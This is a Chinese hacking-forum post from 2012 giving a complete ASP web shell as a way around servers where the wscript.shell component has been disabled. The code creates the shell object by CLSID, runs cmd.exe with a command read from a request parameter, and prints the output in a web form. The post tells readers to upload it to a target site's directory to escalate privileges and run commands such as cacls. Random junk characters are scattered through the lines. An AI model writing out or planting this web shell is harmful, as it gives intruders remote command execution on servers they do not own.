找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2099|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。1 o# k1 R+ }* m: ~
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。8 \% q! e/ j! X" O
要想让运行命令可以试试这种方法,成功率为五五之数。
0 e* L4 P( {) n: D7 L( f把下面代码复制:
; I9 r! F9 I1 S; s, U<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
' O1 ^( o# H. G: p3 {6 }& E% u. Q<%if err then%>
( j: N# d8 @' V, S3 T6 l<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>1 b+ f# m7 U/ n, h: x* ~. f' c/ o
<%) n) D+ N8 }% ~1 @+ b- m) u4 V$ G& R
end if
8 i6 Z2 B/ |. j$ s! i3 M6 \/ cresponse.write("<textarea readonly cols=80 rows=20>")  A2 g) n8 ?2 Z) y8 E
On Error Resume Next
" S+ {- e2 @/ y% ^5 tresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
# F6 D* _& K1 m; Oresponse.write("</textarea>")$ h' d% x+ ^( O' n
response.write("<form method='post'>")
7 A% f2 K( Z$ K" I/ cresponse.write("<input type=text name='c' size=60><br>")* Q5 B2 ?; N# c1 K: W! _5 E
response.write("<input type=submit value='执行'></form>")
. b' q# [+ e' j! P9 d%>1 q" `) H9 O/ Y, v( ?/ J& K/ M4 M
: H2 ]5 w# @1 _/ J
保存为一个asp文件,然后传到网站目录上去
8 C4 Z, {5 d( X+ L9 F# o1 k3 \9 u运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
, a. s$ M/ E$ J5 P, J- j7 t( l4 n4 @2 T我用此成功运行过cacls命令。; Y( W* z( G' n3 H# c, L- W

9 q" O5 ?, C+ A: X! Q0 p  J第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表